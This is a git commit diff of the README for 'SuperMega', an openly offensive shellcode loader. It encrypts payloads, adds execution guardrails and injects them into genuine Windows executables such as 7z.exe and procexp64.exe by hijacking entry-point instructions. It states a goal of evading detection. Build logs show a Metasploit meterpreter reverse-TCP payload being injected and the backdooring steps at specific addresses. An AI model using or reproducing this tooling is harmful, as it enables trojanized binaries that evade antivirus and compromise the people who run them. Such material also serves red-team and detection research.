doc: update readme

This commit is contained in:
Dobin
2024-05-05 11:27:56 +01:00
parent ef7f63059e
commit 3cc232886f
+49 -57
View File
@@ -8,78 +8,70 @@
## What ## What
SuperMega is a shellcode loader. It will take a shellcode as input, protects it, adds a loader, SuperMega is a shellcode loader by injecting it into genuine executables (.exe or .dll).
and injects the resulting shellcode into an exe. The loader is programmed in C.
FUD. The idea is that injecting shellcode nicely into a non-malicious executable should make
it less detected.
And:
* Only works with 64 bit (shellcode and infecteble exe's)
Features: Features:
* Loader source is C yay * Encrypt payload
* Execution-Guardrails * Execution guardrails, so payload is only decrypted on target
* Environment variables * Keep all original properties of the executable (imports etc.)
* configurable implementation * Very small carrier loader
* different EXE injection techniques * Code execution either through Entry Point modification, or ASM function hijacking
* Patches carrier shellcode so it re-uses the original IAT (IAT-reuse, no peb-walk)
* Patch IAT for missing functions for the carrier
Plugins:
* source style:
* PEB_WALK
* IAT_REUSE
* alloc style:
* RWX
* REUSE_RWX
* decoder style:
* PLAIN_1
* XOR_1
* dataref style:
* APPEND
## Examples ## Examples
### Metasploit in 7z Inject `messagebox.bin` shellcode into `procexp64.exe` executable:
Inject metasploit into 7z.exe. It will use PEB_WALK.
``` ```
PS C:\repos\supermega> python.exe .\supermega.py --shellcode .\shellcodes\msf-meterpreter-reversetcp.bin --inject .\exes\7z.exe (project.py ) Copy data/source/carrier/iat_reuse/template.c to projects/default/
(supermega.py) Super Mega (payload.py ) --( Load payload: data/binary/shellcodes/messagebox.bin
(helper.py ) --[ Remove old files ] (exehost.py ) --[ Analyzing: data/binary/exes/procexp64.exe
(model.py ) --( Capabilities: (exehost.py ) ---[ Injectable: Chosen code section: .text at 0x1000 size: 1159374
(model.py ) 0x0: GetEnvironmentVariableW (b'') (supermega.py) --I FunctionInvokeStyle: iat_reuse Inject Mode: hijack branching instruction in entrypoint DecoderStyle: xor_1
(model.py ) 0x460090: VirtualAlloc (b'') (templater.py) --[ Create C from template
(supermega.py) --[ SourceStyle: peb_walk (compiler.py ) --[ Compile C to ASM: projects/Verify_1/main.c -> projects/Verify_1/main.asm
(compiler.py ) --[ C to ASM: build\main.c -> build\main.asm ] (helper.py ) --[ Run process: C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\cl.exe /c /FA /GS- /Faprojects/Verify_1/ projects/Verify_1/main.c
(compiler.py ) ---[ Make ASM from C: build\main.c ] (assembler.py) --[ Assemble to exe: projects/Verify_1/main.asm -> projects/Verify_1/main.exe -> projects/Verify_1/main.bin
(compiler.py ) ---[ Fixup : build\main.asm ] (helper.py ) --[ Run process: C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe projects/Verify_1/main.asm /link /OUT:projects/Verify_1/main.exe /entry:AlignRSP
(compiler.py ) > Replace external reference at line: 8 (assembler.py) --[ Merge stager with payload -> projects/Verify_1/main.bin
(compiler.py ) > Replace external reference at line: 395 (assembler.py) ---[ XOR payload with key 0x31
(compiler.py ) > Replace payload length at line: 389 (assembler.py) ---[ Size: Stager: 554 and Payload: 433 Sum: 987
(compiler.py ) > Add end of code label at line: 807 (injector.py ) --[ Injecting: data/binary/shellcodes/messagebox.bin into data/binary/exes/procexp64.exe -> projects/Verify_1/procexp64.infected.exe
(compiler.py ) ---[ Cleanup: build\main.asm ] (injector.py ) --( Inject: Shellcode rva:0x8E679 (from offset:0x8DA79)
(assembler.py) --[ Assemble to exe: build\main.asm -> build\main.exe -> build\main.bin ] (injector.py ) ---( Rewire: EXE
(assembler.py) ---[ Assemble ASM to EXE: build\main.asm -> build\main.exe ] (injector.py ) --( Inject EXE: Patch from entrypoint (0xE1D78)
(assembler.py) ---[ EXE to SHC: build\main.exe -> build\main.bin ] (derbackdoorer.py) Backdooring function at 0xE1D78 (to shellcode 0x8E679)
(helper.py ) --[ Code section: .text (derbackdoorer.py) find suitable instr to hijack: off: from 0xE1D78 len:256 depthopt:DEPTH_OPTIONS.LEVEL1
(helper.py ) > 0x1000 Code Size: 2557 (raw code section size: 2560) (derbackdoorer.py) [000e1d78] 48 83 ec 28 sub rsp, 0x28
(assembler.py) --[ Merge stager: build\main.bin + .\shellcodes\msf-meterpreter-reversetcp.bin -> build\main.bin ] (derbackdoorer.py) [000e1d7c] e8 2f 04 00 00 call 0xe21b0
(assembler.py) ---[ Size: Stager: 2557 and Payload: 449 Sum: 3006 ] (derbackdoorer.py) --[ Backdoor 0xE1D7C: MOV RDX, 0x14008E679 ; CALL RDX
(injector.py ) --[ Injecting: build\main.bin into: .\exes\7z.exe -> .\exes\7z.infected.exe ] (superpe.py ) Adding 1 relocations for Page RVA 0xE1000 - size of block: 0xA
(supermega.py) --[ Start infected exe ] (superpe.py ) Reloc0 for addr 0xE1D7E: 0xAD7E - 0xD7E - type: 10
(injector.py ) Replace 139cafc9f30d at VA 0x14008E73A with call to IAT at VA 0x14011D848
(injector.py ) Replace 9a16256e76f8 at VA 0x14008E785 with call to IAT at VA 0x14011D958
(injector.py ) Replace 0c2c5edbf8b5 at VA 0x14008E800 with call to IAT at VA 0x14011DBE8
(injector.py ) Add data to .rdata at 0x1401204A9 (off: 1174185): USERPROFILE
(injector.py ) Add data to .rdata at 0x1401206A9 (off: 1174697): C:\Users\hacker
(injector.py ) Replace 46c4ab596ed89c at VA 0x14008E6FD with LEA rcx .rdata 0x1401204A9
(injector.py ) Replace 2c305aac9e56ab at VA 0x14008E716 with LEA rcx .rdata 0x1401206A9
``` ```
## Directories ## Directories
* `shellcodes/`: Input: Shellcodes we want to use as input (payload) * `data/binary/shellcodes`: Input: Shellcodes we want to use as input (payload)
* `source/`: Input: Loader C templates * `data/binary/exes/`: Input: Nonmalicious EXE files we inject into
* `plugins/`: Input: Loader C implementations * `data/source/carrier`: Input: Carrier C templates
* `exes/`: Input: Nonmalicious EXE files we inject into * `projects/<projectname>`: output: Project directory with all files
* `build/`: build: Temporary files during build process * `projects/default`: output: Project directory with all files
* `logs/`: build: Files generated by building (inspect for debugging)
* `out/`: output. The generated result: infected exe
## Installation ## Installation